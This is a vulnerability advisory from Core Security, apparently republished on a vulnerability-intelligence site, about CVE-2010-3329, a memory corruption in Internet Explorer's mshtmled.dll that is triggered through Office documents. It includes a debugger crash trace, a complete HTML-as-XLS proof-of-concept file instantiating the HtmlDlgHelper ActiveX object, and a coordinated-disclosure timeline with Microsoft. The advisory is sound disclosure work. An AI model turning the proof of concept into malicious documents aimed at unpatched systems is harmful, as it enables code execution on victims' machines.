Microsoft Office HtmlDlgHelper Class Memory Corruption. Vulnerability in 'HtmlDlgHelper Class Object' in Office doc allows code executio
Reporter | Title | Published | Views | Family All 18 |
---|---|---|---|---|
Check Point Advisories | Internet Explorer HtmlDlgHelper Class Memory Corruption - Ver2 (CVE-2010-3329) | 31 Mar 201400:00 | – | checkpoint_advisories |
Check Point Advisories | Internet Explorer HtmlDlgHelper Class Memory Corruption (MS10-071; CVE-2010-3329) | 12 Oct 201000:00 | – | checkpoint_advisories |
CVE | CVE-2010-3329 | 13 Oct 201019:00 | – | cve |
Prion | Memory corruption | 13 Oct 201019:00 | – | prion |
exploitpack | Microsoft Office - HtmlDlgHelper Class Memory Corruption (MS10-071) | 16 Oct 201000:00 | – | exploitpack |
Cvelist | CVE-2010-3329 | 13 Oct 201018:00 | – | cvelist |
NVD | CVE-2010-3329 | 13 Oct 201019:00 | – | nvd |
seebug.org | Microsoft IE HtmlDlgHelper类内存破坏漏洞(MS10-071) | 15 Oct 201000:00 | – | seebug |
seebug.org | Microsoft Office HtmlDlgHelper Class Memory Corruption | 17 Oct 201000:00 | – | seebug |
seebug.org | Microsoft IE多个未初始化内存远程代码执行漏洞(MS10-071) | 15 Oct 201000:00 | – | seebug |
======================================================
Microsoft Office HtmlDlgHelper Class Memory Corruption
======================================================
Core Security Technologies - CoreLabs Advisory
http://corelabs.coresecurity.com
Microsoft Office HtmlDlgHelper class memory corruption
1. *Advisory Information*
Title: Microsoft Office HtmlDlgHelper class memory corruption
Advisory Id: CORE-2010-0517
Advisory URL:
[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]
Date published: 2010-10-12
Date of last update: 2010-10-14
Vendors contacted: Microsoft
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Missing Initialization [CWE-456]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2010-3329
Bugtraq ID: N/A
3. *Vulnerability Description*
Microsoft Windows is prone to a memory corruption vulnerability when
instantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office
Document (ie: .XLS, .DOC). The affected vulnerable module is part of
Internet Explorer ('mshtmled.dll'). This vulnerability could be used by
a remote attacker to execute arbitrary code with the privileges of the
user that opened the malicious file.
4. *Vulnerable packages*
. IE 6
. IE 7
. IE 8
. MS Office XP
. MS Office 2003
. MS Office 2007 and MS Office 2010 (the control is disabled by default)
5. *Non-vulnerable packages*
. For further information and patches about this issue look at the
Microsoft Security Bulletin Summary for October 2010 [1], patch ms10-071.
6. *Credits*
This vulnerability was discovered by Damian Frizza from Core Security
Technologies.
7. *Technical Description / Proof of Concept Code*
Microsoft Windows is prone to a memory corruption vulnerability when
instantiating the 'HtmlDlgHelper Class Object'
('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office
Document (ie: .XLS, .DOC). The affected vulnerable module is part of
Internet Explorer ('mshtmled.dll'). The vulnerability occurs in
'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is
called and then makes access to uninitialized memory.
The ActiveX control is marked as "Not Safe for Initialization", and
prompts the user with: "ActiveX controls might contain viruses or other
security hazards. Do not enable this content unless you trust the source
of this file". However, in Office 2003 the bug is triggered even if the
user answers "No" to the prompt.
The following code is where the vulnerability occurs, when opening a
.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'
v8.0.6001.18702):
/-----
mshtmled!ReleaseInterface:
42b919c0 8bff mov edi,edi
42b919c2 55 push ebp
42b919c3 8bec mov ebp,esp
42b919c5 8b4508 mov eax,dword ptr [ebp+8]
ss:0023:0013d104=00310065
42b919c8 85c0 test eax,eax
42b919ca 7406 je mshtmled!ReleaseInterface+0x12
(42b919d2) [br=0]
42b919cc 8b08 mov ecx,dword ptr [eax] ds:0023:00310065
42b919ce 50 push eax
42b919cf ff5108 call dword ptr [ecx+8]
ds:0023:7d02029c=2a2c277a
eax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc
edi=00000000
eip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0 nv up ei pl nz na
pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Stack Trace:
<Unloaded_ion.dll>+0x2a2c2779
mshtmled!ReleaseInterface+0x12
mshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting
destructor'+0xd
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27
VBE6!rtcStrConvVar+0xbd65
VBE6!rtcSetDatabaseLcid+0xa823
EXCEL!Ordinal41+0xd2ad0
EXCEL!Ordinal41+0x14082a
USER32!CallWindowProcW+0x1b
Instruction Address: 0x000000002a2c277a
-----/
The following html code demonstrates the bug on Excel 2002/2003. Save
the file as .XLS and open it on Excel.
/-----
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel">
<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
x\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
<o:DocumentProperties>
<o:LastAuthor>TEST</o:LastAuthor>
<o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>
<o:Version>10.6858</o:Version>
</o:DocumentProperties>
<o:OfficeDocumentSettings>
<o:DownloadComponents/>
</o:OfficeDocumentSettings>
</xml><![endif]-->
<!--[if gte mso 9]><xml>
<x:ExcelWorkbook>
<x:ExcelWorksheets>
<x:ExcelWorksheet>
<x:Name>test</x:Name>
<x:WorksheetOptions>
<x:CodeName>Sheet1</x:CodeName>
<x:Selected/>
<x:DoNotDisplayGridlines/>
<x:ProtectContents>False</x:ProtectContents>
<x:ProtectObjects>False</x:ProtectObjects>
<x:ProtectScenarios>False</x:ProtectScenarios>
</x:WorksheetOptions>
</x:ExcelWorksheet>
</x:ExcelWorksheets>
<x:WindowHeight>9345</x:WindowHeight>
<x:WindowWidth>13260</x:WindowWidth>
<x:WindowTopX>240</x:WindowTopX>
<x:WindowTopY>60</x:WindowTopY>
<x:ProtectStructure>False</x:ProtectStructure>
<x:ProtectWindows>False</x:ProtectWindows>
</x:ExcelWorkbook>
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1"/>
</o:shapelayout></xml><![endif]-->
</head>
<body link=blue vlink=purple>
<table x:str border=0 cellpadding=0 cellspacing=0 width=64
style='border-collapse:
collapse;table-layout:fixed;width:48pt'>
<col width=64 style='width:48pt'>
<tr height=17 style='height:12.75pt'>
<td height=17 width=64 style='height:12.75pt;width:48pt' align=left
valign=top><!--[if gte vml 1]><v:shapetype id="_x0000_t201"
coordsize="21600,21600"
o:spt="201" path="m,l,21600r21600,l21600,xe">
<v:stroke joinstyle="miter"/>
<v:path shadowok="f" o:extrusionok="f" strokeok="f" fillok="f"
o:connecttype="rect"/>
<o:lock v:ext="edit" shapetype="t"/>
</v:shapetype><v:shape id="_x0000_s1025" type="#_x0000_t201"
style='position:absolute;
margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'
strokecolor="windowText [64]" o:insetmode="auto">
<![if gte mso 9]><o:title=""/>
<![endif]><x:ClientData ObjectType="Pict">
<x:SizeWithCells/>
<x:CF>Pict</x:CF>
<x:AutoPict/>
</x:ClientData>
</v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;
position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;
height:17px'><![endif]>
<object classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B"
id=obj></object>
<![if !vml]></span><![endif]><span
style='mso-ignore:vglayout2'>
<table cellpadding=0 cellspacing=0>
<tr>
<td height=17 width=64 style='height:12.75pt;width:48pt'></td>
</tr>
</table>
</span></td>
</tr>
<![if supportMisalignedColumns]>
<tr height=0 style='display:none'>
<td width=64 style='width:48pt'></td>
</tr>
<![endif]>
</table>
</body>
</html>
-----/
This exploitable condition was reproduced in the following versions of
'mshtmled.dll':
. 'mshtmled.dll' v8.0.6001.18702
. 'mshtmled.dll' v8.0.6001.18000
. 'mshtmled.dll' v7.0.6000.17023
. 'mshtmled.dll' v7.0.6000.17080
8. *Report Timeline*
. 2010-05-28:
Initial notification to the vendor. Draft advisory and proof-of-concept
files sent to MSRC. Publication date set for July 13, 2010.
. 2010-06-11:
Core requests from the vendor an update on the status of this case.
. 2010-06-14:
The vendor responds that its engineers are still investigating this
issue; and that they expect to have more information from the
investigation and triage process within the next few days.
. 2010-06-15:
The vendors informs that they have been determined that the ActiveX
control is marked as "Not Safe for Initialization"; and prompts the user
with a dialog that warns the user that they are going to be executing a
potentially malicious code. In consequence, the vendor treats this case
as the same scenario as a user that tries to enable and open an Office
document with a Macro or VBA code contained within.
. 2010-06-15:
Core asks the vendor if the previous mail means that it does not intent
to fix the bug or that it does not recognize it as a security issue. The
reporter's viewpoint is that a dialog prompt is not a fix "per se" and
just a defense in depth mechanism; and that he would prefer to see the
bug fixed rather than relying on mitigations that prevent exploitation.
. 2010-06-15:
Core adds the following information: in Office 2003 even if the user
answers No to the ActiveX dialog, the application ends up crashing.
. 2010-06-16:
Vendor responds that it is currently investigating the new information.
. 2010-06-28:
Vendor informs that it has found that the vulnerable code actually
exists and is owned by the IE team whom is currently investigating the
crash; and that this case is transferred over to them (and to a new case
manager as well).
. 2010-07-02:
Vendor informs Core that the IE team has finished the investigation into
this issue and was able to reproduce the issue reported. During the
investigation it was determined that this is an exploitable crash in
Internet Explorer. Vendor will send Core the list of affected Internet
Explorer versions when available.
. 2010-07-02:
Core acknowledges receipt of the update, and reminds that although the
vulnerable code is owned by the IE team this also affects Office
(including 2010). Core offers to postpone publication of its advisory
from July 13th to August 10th on the basis of a firm commitment to a
release date from the vendor's side. Core informs that it is evaluating
the possibility of using Office killbit recently introduced by MS10-036
as a workaround, but that MS10-036 points to a knowledge base article
[2] that is no longer available.
. 2010-07-07:
Vendor acknowledges previous mail, and states that it will determine
with the product team how this fix could be included in the August
release. Vendor requests an updated version of the advisory, and to
include a vendor statement.
. 2010-07-22:
Core requests an update on the status of the vulnerability report; and
informs that publication of its advisory has been rescheduled to August
10, 2010, despite the fact that Core did not receive any updates. Core
informs that the publication of this advisory is transferred to a new
case manager.
. 2010-08-04:
Core sends an updated version of the advisory and also asks if MSRC can
provide:
1. The list of affected software versions.
2. The CVE number assigned to this vulnerability (if it exists).
3. The steps to reproduce the vulnerability in IE [3].
4. The link to the knowledge base article about the newly introduced
Office killbit given that Core is investigating using that defense
mechanism as a workaround but MS10-036 points to a knowledge base
article that is no longer available
([http://support.microsoft.com/kb/983632]).
Core also notifies this advisory is currently scheduled to be published
on August 10, 2010 but the publication can be reviewed if Microsoft
responds with a firm commitment to a release date of fixes, and
technical information about the root cause of this vulnerability.
. 2010-08-04:
MSRC responds that the updated advisory draft was internally forwarded
and they are working on collecting answers to the requested questions.
. 2010-08-05:
MSRC sends the answers to the asked questions:
1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.
2. MSRC is unable to assign a CVE as it is too early. CVEs are
typically assigned closer to the scheduled release date and MSRC will
receive the block of CVEs from Mitre for the October release of the
Internet Explorer security update.
3. MSRC notifies there is no attack vector in IE, and they cannot
provide steps to reproduce the vulnerability in IE.
4. The knowledge base article about the newly introduced Office
killbit was redirected to [http://support.microsoft.com/kb/2252664].
. 2010-08-06:
Core asks MSRC to clarify if the fix for this issue has been scheduled
to be released in October.
. 2010-08-06:
MSRC confirms that the fix for this issue is scheduled for the October
release of IE.
. 2010-08-09:
Core re-schedules the publication of the advisory for October 12 and
notifies that this date should be considered as final, if Microsoft does
not release fixes on that date, the advisory will be released as 'user
release'.
. 2010-08-09:
MSRC confirms that the fix for this issue is scheduled for the October
release of IE.
. 2010-10-01:
MSRC provides a status update about this issue and notifies that it is
slated to be included in the October release of the IE Cumulative Update
and SafeHTML update scheduled for October 12, 2010. MSRC also notifies
that the CVE assigned to this issue is CVE-2010-3329.
. 2010-10-01:
MSRC notifies that they have made a mistake and included an invalid
detail in the last status update. In particular, the issue does not
affect the SafeHTML update scheduled for October but it will be shipping
in the IE Cumulative Update scheduled for October.
. 2010-10-01:
Core acknowledges the MSRC's e-mail and notifies that although the
problem is located in IE-owned code, the problem also affects Office up
to 2010. Core assumes this will be specified in the MSRC bulletin and
asks for confirmation.
. 2010-10-04:
MSRC confirms that the description of the vulnerability calls out that
the vector to the vulnerability is through opening a word document.
. 2010-10-12:
Advisory CORE-2010-0517 is published.
9. *References*
[1] Microsoft security bulletin summary for October 2010 -
[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].
[2] Office killbit [http://support.microsoft.com/kb/983632].
[3] This bug was originally investigated in Microsoft Office by Core,
but MSRC determined [2010-07-02] that this bug is an exploitable crash
in Internet Explorer.
[4] MSRC was not able to reproduce this issue on IE6, however they
notifies the code has been determined to exist in this version and the
fix will be scoped to address this platform as well.
# 0day.today [2018-04-14] #
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo